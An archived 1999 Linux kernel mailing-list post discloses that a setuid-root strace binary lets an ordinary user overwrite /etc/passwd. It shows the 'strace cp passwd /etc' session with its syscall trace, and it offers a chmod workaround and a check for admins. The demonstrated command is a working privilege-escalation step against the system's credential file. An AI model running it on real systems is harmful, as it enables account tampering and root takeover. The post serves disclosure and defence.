lkml.org 
[lkml]   [1999]   [Dec]   [29]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
    /
    Date
    From
    Subjectstrace security <feature>
    Hello security gurus,

    This may not be a kernel issue, but `strace` interacts with it so
    here is the frightening thing:

    It is possible for an ordinary user to use `strace` (which by default
    runs SUID-root), to copy a password file to /etc.
    Watch!

    Script started on Wed Dec 29 17:35:26 1999
    $ whoami
    johnson
    $ ls -la /etc/passwd
    -rw-r--r-- 1 system root 1407 Dec 29 17:28 /etc/passwd
    $ cp passwd /etc
    cp: cannot create regular file `/etc/passwd': Permission denied
    $ strace cp passwd /etc
    brk(0) = 0x8051aa9
    open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
    open("/etc/ld.so.cache", O_RDONLY) = 3
    fstat(3, {st_mode=S_IFREG|0644, st_size=13265, ...}) = 0
    mmap(0, 13265, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4000c000
    close(3) = 0
    open("/usr/lib/libc.so.6", O_RDONLY) = 3
    mmap(0, 4096, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40010000
    munmap(0x40010000, 4096) = 0
    mmap(0, 644232, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40010000
    mprotect(0x4009b000, 74888, PROT_NONE) = 0
    mmap(0x4009b000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x8b000) = 0x4009b000
    mmap(0x400a1000, 50312, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|0x20, 4294967295, 0) = 0x400a1000
    close(3) = 0
    mprotect(0x40010000, 569344, PROT_READ|PROT_WRITE) = 0
    mprotect(0x40010000, 569344, PROT_READ|PROT_EXEC) = 0
    SYS_136(0, 0x3, 0x400a002c, 0xbffff764, 0xbffff754) = 0
    getpid() = 369
    brk(0) = 0x8051aa9
    brk(0x8051af1) = 0x8051af1
    brk(0x8052000) = 0x8052000
    open("/usr/local/share/locale/locale.alias", O_RDONLY) = 3
    fstat(3, {st_mode=S_IFREG|0644, st_size=2032, ...}) = 0
    mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|0x20, 4294967295, 0) = 0x400ae000
    read(3, "# Locale name alias data base.\n"..., 4096) = 2032
    brk(0x8053000) = 0x8053000
    read(3, "", 4096) = 0
    close(3) = 0
    munmap(0x400ae000, 4096) = 0
    open("./locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)
    open("/usr/local/share/locale/en_US.88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
    open("/usr/local/share/i18n/en_US.88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
    open("/usr/local/share/locale/en_US.iso88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
    open("/usr/local/share/i18n/en_US.iso88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
    open("/usr/local/share/locale/en_US/LC_MESSAGES", O_RDONLY) = 3
    fstat(3, {st_mode=S_IFREG|0644, st_size=78, ...}) = 0
    mmap(0, 78, PROT_READ, MAP_PRIVATE, 3, 0) = 0x400ae000
    munmap(0x400ae000, 78) = 0
    close(3) = 0
    open("/usr/local/share/i18n/en_US/LC_MESSAGES", O_RDONLY) = 3
    fstat(3, {st_mode=S_IFREG|0644, st_size=78, ...}) = 0
    mmap(0, 78, PROT_READ, MAP_PRIVATE, 3, 0) = 0x400ae000
    munmap(0x400ae000, 78) = 0
    close(3) = 0
    open("/usr/local/share/locale/en.88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
    open("/usr/local/share/i18n/en.88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
    open("/usr/local/share/locale/en.iso88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
    open("/usr/local/share/i18n/en.iso88591/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
    open("/usr/local/share/locale/en/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
    open("/usr/local/share/i18n/en/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)
    geteuid() = 0
    umask(0) = 022
    lstat("/etc", {st_mode=S_IFDIR|0755, st_size=3072, ...}) = 0
    stat("/etc", {st_mode=S_IFDIR|0755, st_size=3072, ...}) = 0
    stat("passwd", {st_mode=S_IFREG|0644, st_size=1468, ...}) = 0
    stat("/etc/passwd", {st_mode=S_IFREG|0644, st_size=1407, ...}) = 0
    open("passwd", O_RDONLY) = 3
    open("/etc/passwd", O_WRONLY|O_CREAT|O_TRUNC, 0600) = 4
    fstat(4, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
    fstat(3, {st_mode=S_IFREG|0644, st_size=1468, ...}) = 0
    read(3, "root:Edited:0:0:System Ad"..., 4096) = 1468
    write(4, "root:Edited:0:0:System Ad"..., 1468) = 1468
    read(3, "", 4096) = 0
    close(4) = 0
    close(3) = 0
    _exit(0) = ?
    $ exit
    exit

    Script done on Wed Dec 29 17:36:30 1999

    Note that geteuid() returned 0;

    Also:

    main()
    {
    printf("UID = %d, GID = %d, EUID = %d\n", getuid(), getgid(), geteuid());
    }
    UID = 100, GID = 100, EUID = 100

    This is my real UID, etc.

    The temporary work-around is to unset the SUID bit in `strace`. The
    base distribution on this system was RedHat in 1996 (old). Maybe
    newer distributions have fixed this.

    -rwsr-xr-x 1 root root 85397 Feb 26 1996 /usr/local/bin/strace

    To see if you have this bug, log onto a user account, create some
    file, and attempt to `strace cp filename /etc`. If it goes, become
    root and do chmod 755 `which strace`.

    Cheers,
    Dick Johnson

    Penguin : Linux version 2.3.13 on an i686 machine (400.59 BogoMips).
    Warning : The end of the world as we know it requires a new calendar.
    Seconds : 194379 (until Y2K)


    -
    To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
    the body of a message to majordomo@vger.rutgers.edu
    Please read the FAQ at http://www.tux.org/lkml/

    \
     
     \ /
      Last update: 2005-03-22 13:55    [W:0.025 / U:30.376 seconds]
    ©2003-2016 Jasper Spaans. hosted at Digital OceanAdvertise on this site